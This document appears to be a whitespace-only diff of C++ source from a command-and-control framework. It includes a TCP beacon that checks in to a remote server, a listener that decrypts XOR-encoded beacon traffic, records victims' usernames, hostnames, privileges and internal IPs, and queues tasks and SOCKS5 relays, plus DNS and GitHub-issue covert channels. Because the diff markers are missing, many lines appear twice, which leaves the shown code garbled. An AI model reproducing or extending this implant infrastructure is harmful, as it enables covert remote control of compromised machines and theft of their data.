BeaconTcp::BeaconTcp(std::string& config, std::string& ip, int port)
: Beacon()
: Beacon()
{
m_ip = ip;
m_ip = ip;
m_port = port;
// beacon and modules config
// beacon and modules config
initConfig(config);
m_client=new SocketTunnelClient();
m_client=new SocketTunnelClient();
}
BeaconTcp::~BeaconTcp()
{
delete m_client;
delete m_client;
}
@@ -35,7 +35,7 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector<std::string>&
}
if (start < input.length())
{
{
output.push_back(input.substr(start));
}
@@ -44,36 +44,36 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector<std::string>&
void BeaconTcp::checkIn()
{
int ret = m_client->init(m_ip, m_port);
{
int ret = m_client->init(m_ip, m_port);
if(ret)
{
std::string output;
taskResultsToCmd(output);
if(ret)
{
std::string output;
taskResultsToCmd(output);
output.append("<TCP-666>");
output.append("<TCP-666>");
std::string input;
int res = m_client->process(output, input);
std::string input;
int res = m_client->process(output, input);
if(res<0)
{
m_client->reset();
}
else if(!input.empty())
{
std::vector<std::string> trames;
splitInPacket(input, trames);
if(res<0)
{
m_client->reset();
}
else if(!input.empty())
{
std::vector<std::string> trames;
splitInPacket(input, trames);
for(int i=0; i<trames.size(); i++)
cmdToTasks(trames[i]);
}
for(int i=0; i<trames.size(); i++)
cmdToTasks(trames[i]);
}
}
}
}
+7 -7
View File
@@ -9,16 +9,16 @@ class BeaconTcp : public Beacon
{
public:
BeaconTcp(std::string& config, std::string& ip, int port);
~BeaconTcp();
BeaconTcp(std::string& config, std::string& ip, int port);
~BeaconTcp();
private:
std::string m_ip;
int m_port;
std::string m_ip;
int m_port;
void checkIn();
void checkIn();
int splitInPacket(const std::string& input, std::vector<std::string>& output);
int splitInPacket(const std::string& input, std::vector<std::string>& output);
SocketTunnelClient* m_client;
SocketTunnelClient* m_client;
};
+205 -205
View File
@@ -76,32 +76,32 @@ spdlog::level::level_enum Listener::resolveLogLevel(const nlohmann::json& global
Listener::Listener(const std::string& param1, const std::string& param2, const std::string& type)
{
m_param1 = param1;
m_param2 = param2;
m_type = type;
m_isPrimary = false;
{
m_param1 = param1;
m_param2 = param2;
m_type = type;
m_isPrimary = false;
// m_listenerHash is now composed of a UUID and information related to the machine and the listener
// m_listenerHash is now composed of a UUID and information related to the machine and the listener
#ifdef __linux__
char hostname[2048];
gethostname(hostname, 2048);
m_hostname = hostname;
char hostname[2048];
gethostname(hostname, 2048);
m_hostname = hostname;
#elif _WIN32
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
TCHAR infoBuf[INFO_BUFFER_SIZE];
DWORD bufCharCount = INFO_BUFFER_SIZE;
// Get and display the name of the computer.
m_hostname = "unknown";
if( GetComputerName( infoBuf, &bufCharCount ) )
m_hostname = infoBuf;
// Get and display the name of the computer.
m_hostname = "unknown";
if( GetComputerName( infoBuf, &bufCharCount ) )
m_hostname = infoBuf;
#endif
// TODO take from config ???
// decrypt key
// TODO take from config ???
// decrypt key
std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_));
std::string key(mainKeyConfig);
XOR(keyDecrypted, key);
@@ -112,25 +112,25 @@ Listener::Listener(const std::string& param1, const std::string& param2, const s
const std::string & Listener::getParam1() const
{
return m_param1;
return m_param1;
}
const std::string & Listener::getParam2() const
{
return m_param2;
return m_param2;
}
const std::string & Listener::getType() const
{
return m_type;
return m_type;
}
const std::string & Listener::getListenerHash() const
{
return m_listenerHash;
return m_listenerHash;
}
@@ -142,38 +142,38 @@ std::size_t Listener::getNumberOfSession() const
std::shared_ptr<Session> Listener::getSessionPtr(int idxSession)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
if(idxSession<m_sessions.size())
{
std::shared_ptr<Session> ptr = m_sessions[idxSession];
return ptr;
}
else
return nullptr;
if(idxSession<m_sessions.size())
{
std::shared_ptr<Session> ptr = m_sessions[idxSession];
return ptr;
}
else
return nullptr;
}
std::shared_ptr<Session> Listener::getSessionPtr(const std::string& beaconHash, const std::string& listenerHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
for(std::size_t idxSession=0; idxSession<m_sessions.size(); idxSession++)
{
if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash())
{
std::shared_ptr<Session> ptr = m_sessions[idxSession];
return ptr;
}
}
return nullptr;
{
if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash())
{
std::shared_ptr<Session> ptr = m_sessions[idxSession];
return ptr;
}
}
return nullptr;
}
bool Listener::isSessionExist(const std::string& beaconHash, const std::string& listenerHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -189,7 +189,7 @@ bool Listener::isSessionExist(const std::string& beaconHash, const std::string&
bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -209,8 +209,8 @@ bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::stri
// Returns true if the session was found and the listener was added, false otherwise.
bool Listener::addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2)
{
// Ensure thread-safe access to the sessions list.
std::lock_guard<std::mutex> lock(m_mutex);
// Ensure thread-safe access to the sessions list.
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
@@ -243,7 +243,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
bool Listener::rmSessionListener(const std::string& beaconHash, const std::string& listenerHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -269,19 +269,19 @@ bool Listener::rmSessionListener(const std::string& beaconHash, const std::strin
std::vector<SessionListener> Listener::getSessionListenerInfos()
{
std::vector<SessionListener> sessionListenerList;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
{
if(!(*it)->isSessionKilled())
sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end());
}
return sessionListenerList;
std::vector<SessionListener> sessionListenerList;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
{
if(!(*it)->isSessionKilled())
sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end());
}
return sessionListenerList;
}
bool Listener::markSessionKilled(const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -303,13 +303,13 @@ bool Listener::markSessionKilled(const std::string& beaconHash)
void Listener::queueTask(const std::string& beaconHash, const C2Message& c2Message)
{
addTask(c2Message, beaconHash);
addTask(c2Message, beaconHash);
}
bool Listener::addTask(const C2Message& task, const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -335,7 +335,7 @@ bool Listener::addTask(const C2Message& task, const std::string& beaconHash)
C2Message Listener::getTask(const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
C2Message output;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -353,7 +353,7 @@ C2Message Listener::getTask(const std::string& beaconHash)
bool Listener::addTaskResult(const C2Message& taskResult, const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -379,7 +379,7 @@ bool Listener::addTaskResult(const C2Message& taskResult, const std::string& bea
C2Message Listener::getTaskResult(const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
C2Message output;
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -397,7 +397,7 @@ C2Message Listener::getTaskResult(const std::string& beaconHash)
bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool isSessionExist = false;
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
@@ -414,7 +414,7 @@ bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::str
bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
@@ -440,7 +440,7 @@ bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string
C2Message Listener::getSocksTaskResult(const std::string& beaconHash)
{
std::lock_guard<std::mutex> lock(m_mutex);
std::lock_guard<std::mutex> lock(m_mutex);
C2Message output;
for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it )
@@ -461,36 +461,36 @@ C2Message Listener::getSocksTaskResult(const std::string& beaconHash)
// output is the message send by listener to the beacon
bool Listener::handleMessages(const std::string& input, std::string& output)
{
std::string data = base64_decode(input);
XOR(data, m_key);
std::string data = base64_decode(input);
XOR(data, m_key);
// Mutli Sessions, Multi messages
MultiBundleC2Message multiBundleC2Message;
multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());
// Mutli Sessions, Multi messages
MultiBundleC2Message multiBundleC2Message;
multiBundleC2Message.ParseFromArray(data.data(), (int)data.size());
//
// 1) Handle messages comming from beacons
//
// Create taksResult to be display by the TeamServer
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
{
// For each session (direct session and childs)
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
//
// 1) Handle messages comming from beacons
//
// Create taksResult to be display by the TeamServer
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
{
// For each session (direct session and childs)
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
// Sessions are unique and created from the pair beaconHash / first listenerHash handling the request
// If listenerHash is already filled it means that the session was already handled by an other listener befor this one
std::string beaconHash = bundleC2Message->beaconhash();
std::string listenerhash = bundleC2Message->listenerhash();
if(listenerhash.empty())
listenerhash = getListenerHash();
bundleC2Message->set_listenerhash(listenerhash);
// Sessions are unique and created from the pair beaconHash / first listenerHash handling the request
// If listenerHash is already filled it means that the session was already handled by an other listener befor this one
std::string beaconHash = bundleC2Message->beaconhash();
std::string listenerhash = bundleC2Message->listenerhash();
if(listenerhash.empty())
listenerhash = getListenerHash();
bundleC2Message->set_listenerhash(listenerhash);
if(beaconHash.size()!=SizeBeaconHash)
continue;
if(beaconHash.size()!=SizeBeaconHash)
continue;
bool isExist = isSessionExist(beaconHash, listenerhash);
bool isExist = isSessionExist(beaconHash, listenerhash);
// If the session does not exist, create a new one
// If the session does not exist, create a new one
if(isExist==false)
{
// TODO if no info are provided, queu a getInfo cmd
@@ -499,41 +499,41 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
m_logger->info("Registering new session for beacon {} handled by listener {}", beaconHash, listenerhash);
#endif
std::string username = bundleC2Message->username();
std::string hostname = bundleC2Message->hostname();
std::string arch = bundleC2Message->arch();
std::string privilege = bundleC2Message->privilege();
std::string os = bundleC2Message->os();
std::string internalIps = bundleC2Message->internalIps();
std::string processId = bundleC2Message->processId();
std::string additionalInformation = bundleC2Message->additionalInformation();
std::string username = bundleC2Message->username();
std::string hostname = bundleC2Message->hostname();
std::string arch = bundleC2Message->arch();
std::string privilege = bundleC2Message->privilege();
std::string os = bundleC2Message->os();
std::string internalIps = bundleC2Message->internalIps();
std::string processId = bundleC2Message->processId();
std::string additionalInformation = bundleC2Message->additionalInformation();
std::shared_ptr<Session> session = std::make_shared<Session>(listenerhash, beaconHash, hostname, username, arch, privilege, os);
session->setInternalIps(internalIps);
session->setProcessId(processId);
session->setAdditionalInformation(additionalInformation);
m_sessions.push_back(std::move(session));
}
// If the session already exist, update the information
else
{
std::string lastProofOfLife = bundleC2Message->lastProofOfLife();
}
// If the session already exist, update the information
else
{
std::string lastProofOfLife = bundleC2Message->lastProofOfLife();
updateSessionProofOfLife(beaconHash, lastProofOfLife);
}
}
// For each message in this session
for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
{
const C2Message& c2Message = bundleC2Message->c2messages(j);
// For each message in this session
for (int j = 0; j < bundleC2Message->c2messages_size(); j++)
{
const C2Message& c2Message = bundleC2Message->c2messages(j);
addTaskResult(c2Message, beaconHash);
// Handle instruction that have impact on this Listener
// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
if(c2Message.instruction()==EndCmd)
{
markSessionKilled(beaconHash);
// Handle instruction that have impact on this Listener
// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
if(c2Message.instruction()==EndCmd)
{
markSessionKilled(beaconHash);
std::size_t nbSession = getNumberOfSession();
for(std::size_t kk=0; kk<nbSession; kk++)
{
@@ -545,11 +545,11 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
rmSessionListener(beaconHash, sessionListenerList[j].getListenerHash());
}
}
}
// Handle socks5 messages
// Check if the listener is primary - meaning launched by the teamserver. Otherwise don't do this and just relay the task to the next listener
else if(c2Message.instruction()==Socks5Cmd && m_isPrimary)
{
}
// Handle socks5 messages
// Check if the listener is primary - meaning launched by the teamserver. Otherwise don't do this and just relay the task to the next listener
else if(c2Message.instruction()==Socks5Cmd && m_isPrimary)
{
bool isExist = isSocksSessionExist(beaconHash, listenerhash);
if(isExist==false)
{
@@ -561,110 +561,110 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
#endif
}
addSocksTaskResult(c2Message, beaconHash);
}
// Handle return instruction sent to beacon to start/stop listeners
else if(c2Message.instruction()==ListenerCmd)
{
std::string cmd = c2Message.cmd();
std::vector<std::string> splitedCmd;
std::string delimiter = " ";
splitList(cmd, delimiter, splitedCmd);
addSocksTaskResult(c2Message, beaconHash);
}
// Handle return instruction sent to beacon to start/stop listeners
else if(c2Message.instruction()==ListenerCmd)
{
std::string cmd = c2Message.cmd();
std::vector<std::string> splitedCmd;
std::string delimiter = " ";
splitList(cmd, delimiter, splitedCmd);
if(splitedCmd[0]==StartCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
if(splitedCmd[0]==StartCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
continue;
}
}
else if(splitedCmd[0]==StopCmd)
{
rmSessionListener(beaconHash, c2Message.returnvalue());
}
}
// Handle proof of life of listeners
else if(c2Message.instruction()==ListenerPollCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
continue;
}
}
else if(splitedCmd[0]==StopCmd)
{
rmSessionListener(beaconHash, c2Message.returnvalue());
}
}
// Handle proof of life of listeners
else if(c2Message.instruction()==ListenerPollCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
continue;
}
}
}
}
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
continue;
}
}
}
}
//
// 2) Handle commands to send to Beacons
//
// For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it
bool isTaskToSend=false;
MultiBundleC2Message multiBundleC2MessageRet;
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
{
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
//
// 2) Handle commands to send to Beacons
//
// For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it
bool isTaskToSend=false;
MultiBundleC2Message multiBundleC2MessageRet;
for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++)
{
BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k);
// Sessions are unique and created from the pair beaconHash / listenerHash
// If listenerHash is already filled it means that the session was already handled by other listener befor this one
std::string beaconHash = bundleC2Message->beaconhash();
if(beaconHash.size()!=SizeBeaconHash)
continue;
// Look for tasks in the queue for the this beacon
C2Message c2Message = getTask(beaconHash);
if(!c2Message.instruction().empty())
{
isTaskToSend=true;
BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages();
bundleC2Message->set_beaconhash(beaconHash);
// Sessions are unique and created from the pair beaconHash / listenerHash
// If listenerHash is already filled it means that the session was already handled by other listener befor this one
std::string beaconHash = bundleC2Message->beaconhash();
if(beaconHash.size()!=SizeBeaconHash)
continue;
// Look for tasks in the queue for the this beacon
C2Message c2Message = getTask(beaconHash);
if(!c2Message.instruction().empty())
{
isTaskToSend=true;
BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages();
bundleC2Message->set_beaconhash(beaconHash);
while(!c2Message.instruction().empty())
{
C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
addedC2MessageRet->CopyFrom(c2Message);
c2Message = getTask(beaconHash);
}
}
}
while(!c2Message.instruction().empty())
{
C2Message *addedC2MessageRet = bundleC2Message->add_c2messages();
addedC2MessageRet->CopyFrom(c2Message);
c2Message = getTask(beaconHash);
}
}
}
data="";
if(isTaskToSend)
multiBundleC2MessageRet.SerializeToString(&data);
data="";
if(isTaskToSend)
multiBundleC2MessageRet.SerializeToString(&data);
if (data.empty())
data = "{}";
if (data.empty())
data = "{}";
XOR(data, m_key);
output = base64_encode(data);
XOR(data, m_key);
output = base64_encode(data);
return isTaskToSend;
return isTaskToSend;
}
+28 -28
View File
@@ -21,8 +21,8 @@ class Listener
{
public:
Listener(const std::string& param1, const std::string& param2, const std::string& type);
virtual ~Listener(){};
Listener(const std::string& param1, const std::string& param2, const std::string& type);
virtual ~Listener(){};
const std::string & getParam1() const;
const std::string & getParam2() const;
@@ -34,53 +34,53 @@ public:
}
std::size_t getNumberOfSession() const;
// Session
std::shared_ptr<Session> getSessionPtr(int idxSession);
// Session
std::shared_ptr<Session> getSessionPtr(int idxSession);
std::shared_ptr<Session> getSessionPtr(const std::string& beaconHash, const std::string& listenerHash);
bool isSessionExist(const std::string& beaconHash, const std::string& listenerHash);
bool updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife);
bool markSessionKilled(const std::string& beaconhash);
// Session Listener
bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2);
bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash);
std::vector<SessionListener> getSessionListenerInfos();
// Session Listener
bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2);
bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash);
std::vector<SessionListener> getSessionListenerInfos();
// Task & Task Result
void queueTask(const std::string& beaconHash, const C2Message& c2Message);
bool addTask(const C2Message& task, const std::string& beaconHash);
// Task & Task Result
void queueTask(const std::string& beaconHash, const C2Message& c2Message);
bool addTask(const C2Message& task, const std::string& beaconHash);
C2Message getTask(const std::string& beaconHash);
bool addTaskResult(const C2Message& taskResult, const std::string& beaconHash);
C2Message getTaskResult(const std::string& beaconHash);
// SocksSession
// SocksSession
bool isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash);
bool addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash);
C2Message getSocksTaskResult(const std::string& beaconHash);
C2Message getSocksTaskResult(const std::string& beaconHash);
// set the listener as primary (meaning launch from the teamserver)
void setIsPrimary()
{
m_isPrimary=true;
}
// set the listener as primary (meaning launch from the teamserver)
void setIsPrimary()
{
m_isPrimary=true;
}
protected:
bool execInstruction(std::vector<std::string>& splitedCmd, C2Message& c2Message);
bool handleMessages(const std::string& input, std::string& output);
std::string m_key;
std::string m_param1;
std::string m_param2;
std::string m_type;
bool m_isPrimary;
std::string m_param1;
std::string m_param2;
std::string m_type;
bool m_isPrimary;
std::string m_listenerHash;
std::string m_hostname;
std::string m_listenerHash;
std::string m_hostname;
std::string m_metadata;
std::string m_metadata;
std::vector<std::shared_ptr<Session>> m_sessions;
std::vector<std::shared_ptr<SocksSession>> m_socksSessions;
std::vector<std::shared_ptr<Session>> m_sessions;
std::vector<std::shared_ptr<SocksSession>> m_socksSessions;
#ifdef BUILD_TEAMSERVER
std::shared_ptr<spdlog::logger> m_logger;
@@ -90,5 +90,5 @@ protected:
#endif
private:
std::mutex m_mutex;
std::mutex m_mutex;
};
+12 -12
View File
@@ -14,11 +14,11 @@ ListenerDns::ListenerDns(const std::string& domainToResolve, int port, const nlo
m_listenerHash = random_string(SizeListenerHash);
json metadata;
json metadata;
metadata["1"] = ListenerDnsType;
metadata["2"] = domainToResolve;
metadata["3"] = std::to_string(port);
m_metadata = metadata.dump();
m_metadata = metadata.dump();
#ifdef BUILD_TEAMSERVER
// Logger
@@ -69,12 +69,12 @@ ListenerDns::~ListenerDns()
void ListenerDns::launchDnsListener()
{
try
try
{
while(1)
{
if(m_stopThread)
return;
while(1)
{
if(m_stopThread)
return;
auto [clientId, input] = m_serverDns->getAvailableMessage();
@@ -96,15 +96,15 @@ void ListenerDns::launchDnsListener()
if(!output.empty())
m_serverDns->setMessageToSend(output, clientId);
}
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(1000));
}
}
catch (...)
{
return;
}
return;
return;
}
+6 -6
View File
@@ -5,7 +5,7 @@
namespace dns
{
class Server;
class Server;
}
class ListenerDns : public Listener
@@ -13,13 +13,13 @@ class ListenerDns : public Listener
public:
ListenerDns(const std::string& domainToResolve, int port, const nlohmann::json& config = nlohmann::json::object());
~ListenerDns();
~ListenerDns();
private:
void launchDnsListener();
void launchDnsListener();
dns::Server* m_serverDns;
dns::Server* m_serverDns;
bool m_stopThread;
std::unique_ptr<std::thread> m_dnsListener;
bool m_stopThread;
std::unique_ptr<std::thread> m_dnsListener;
};
+178 -178
View File
@@ -10,16 +10,16 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to
, m_project(project)
, m_token(token)
{
m_listenerHash = random_string(SizeListenerHash);
m_listenerHash = random_string(SizeListenerHash);
json metadata;
json metadata;
metadata["1"] = ListenerGithubType;
metadata["2"] = project;
metadata["3"] = token.substr(0,10);
m_metadata = metadata.dump();
m_metadata = metadata.dump();
m_isRunning=true;
this->m_githubFetcher = std::make_unique<std::thread>(&ListenerGithub::checkGithubIssues, this);
m_isRunning=true;
this->m_githubFetcher = std::make_unique<std::thread>(&ListenerGithub::checkGithubIssues, this);
#ifdef BUILD_TEAMSERVER
// Logger
@@ -44,8 +44,8 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to
ListenerGithub::~ListenerGithub()
{
m_isRunning=false;
m_githubFetcher->join();
m_isRunning=false;
m_githubFetcher->join();
#ifdef BUILD_TEAMSERVER
if(m_logger)
@@ -56,240 +56,240 @@ ListenerGithub::~ListenerGithub()
void ListenerGithub::checkGithubIssues()
{
while(m_isRunning)
{
std::string url = "https://api.github.com";
httplib::Client cli(url);
while(m_isRunning)
{
std::string url = "https://api.github.com";
httplib::Client cli(url);
std::string token = "token ";
token+=m_token;
std::string token = "token ";
token+=m_token;
httplib::Headers headers = {
{ "Accept", "application/vnd.github+json" },
{ "Authorization", token },
{ "Cookie", "logged_in=no" }
};
httplib::Headers headers = {
{ "Accept", "application/vnd.github+json" },
{ "Authorization", token },
{ "Cookie", "logged_in=no" }
};
// get list of issues
std::string endpoint = "/repos/";
endpoint += m_project;
endpoint += "/issues";
auto response = cli.Get(endpoint, headers);
// get list of issues
std::string endpoint = "/repos/";
endpoint += m_project;
endpoint += "/issues";
auto response = cli.Get(endpoint, headers);
auto err = response.error();
if(err!=httplib::Error::Success)
{
auto err = response.error();
if(err!=httplib::Error::Success)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Http client Get {0}", httplib::to_string(err));
m_logger->error("Http client Get {0}", httplib::to_string(err));
#endif
continue;
}
continue;
}
if(response->status!=200 && response->status!=201)
{
if(response->status!=200 && response->status!=201)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Error with the ListenerGithub: {0}", response->body);
m_logger->error("Error with the ListenerGithub: {0}", response->body);
#endif
continue;
}
continue;
}
if(!response->body.empty())
{
nlohmann::json my_json = json::parse(response->body);
if(!response->body.empty())
{
nlohmann::json my_json = json::parse(response->body);
// for every issue in the list
for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it)
{
std::string title = (*it)["title"];
std::string body = (*it)["body"];
int number = (*it)["number"];
int nbComments = (*it)["comments"];
// for every issue in the list
for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it)
{
std::string title = (*it)["title"];
std::string body = (*it)["body"];
int number = (*it)["number"];
int nbComments = (*it)["comments"];
if(nbComments!=0)
{
if(nbComments!=0)
{
#ifdef BUILD_TEAMSERVER
m_logger->debug("Issue with comments: {0}", std::to_string(number));
m_logger->debug("Issue with comments: {0}", std::to_string(number));
#endif
}
}
if(title.rfind("ResponseC2: ", 0) == 0)
{
std::string marker = "ResponseC2: ";
std::size_t pos = title.find(marker);
if (pos == std::string::npos)
{
continue;
}
pos += marker.length();
std::string beaconHash = title.substr(pos);
if(title.rfind("ResponseC2: ", 0) == 0)
{
std::string marker = "ResponseC2: ";
std::size_t pos = title.find(marker);
if (pos == std::string::npos)
{
continue;
}
pos += marker.length();
std::string beaconHash = title.substr(pos);
std::string res;
HandleCheckIn(body, res);
std::string res;
HandleCheckIn(body, res);
// generate the response for response who got content
if(res.size()>4)
{
std::string reponseTitle = "RequestC2: ";
reponseTitle+=beaconHash;
// generate the response for response who got content
if(res.size()>4)
{
std::string reponseTitle = "RequestC2: ";
reponseTitle+=beaconHash;
// body too long need to split it
int maxChunkSize = 65000;
if(res.size()>=maxChunkSize)
{
std::vector<std::string> chunks;
for (std::size_t i = 0; i < res.size(); i += maxChunkSize)
{
chunks.push_back(res.substr(i, maxChunkSize));
}
// body too long need to split it
int maxChunkSize = 65000;
if(res.size()>=maxChunkSize)
{
std::vector<std::string> chunks;
for (std::size_t i = 0; i < res.size(); i += maxChunkSize)
{
chunks.push_back(res.substr(i, maxChunkSize));
}
nlohmann::json responseData = {
{"title", reponseTitle},
{"body", chunks[0]},
};
nlohmann::json responseData = {
{"title", reponseTitle},
{"body", chunks[0]},
};
std::string data = responseData.dump();
std::string data = responseData.dump();
std::string contentType = "application/json";
auto response = cli.Post(endpoint, headers, data, contentType);
std::string contentType = "application/json";
auto response = cli.Post(endpoint, headers, data, contentType);
err = response.error();
if(err!=httplib::Error::Success)
{
err = response.error();
if(err!=httplib::Error::Success)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Http client Post Issue {0}", httplib::to_string(err));
m_logger->error("Http client Post Issue {0}", httplib::to_string(err));
#endif
continue;
}
continue;
}
#ifdef BUILD_TEAMSERVER
m_logger->trace("Issue created {0}", response->status);
m_logger->trace("Issue created {0}", response->status);
#endif
if(response->status!=200 && response->status!=201)
{
if(response->status!=200 && response->status!=201)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Error with the ListenerGithub: {0}", response->body);
m_logger->error("Error with the ListenerGithub: {0}", response->body);
#endif
continue;
}
continue;
}
nlohmann::json my_json = nlohmann::json::parse(response->body);
int number = my_json["number"];
for (std::size_t i = 1; i < chunks.size(); i++)
{
nlohmann::json responseData = {
{"body", chunks[i]},
};
nlohmann::json my_json = nlohmann::json::parse(response->body);
int number = my_json["number"];
for (std::size_t i = 1; i < chunks.size(); i++)
{
nlohmann::json responseData = {
{"body", chunks[i]},
};
std::string data = responseData.dump();
std::string data = responseData.dump();
std::string contentType = "application/json";
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
issueEndpoint += "/comments";
auto response = cli.Post(issueEndpoint, headers, data, contentType);
std::string contentType = "application/json";
std::string issueEndpoint = "/repos/";
issueEndpoint += m_project;
issueEndpoint += "/issues/";
issueEndpoint += std::to_string(number);
issueEndpoint += "/comments";
auto response = cli.Post(issueEndpoint, headers, data, contentType);
err = response.error();
if(err!=httplib::Error::Success)
{
err = response.error();
if(err!=httplib::Error::Success)
{
#ifdef BUILD_TEAMSERVER
m_logger->error("Http client Post Comments {0}", httplib::to_string(err));
m_logger->error("Http client Post Comments {0}", httplib::to_string(err));
#endif
continue;
}
continue;
}
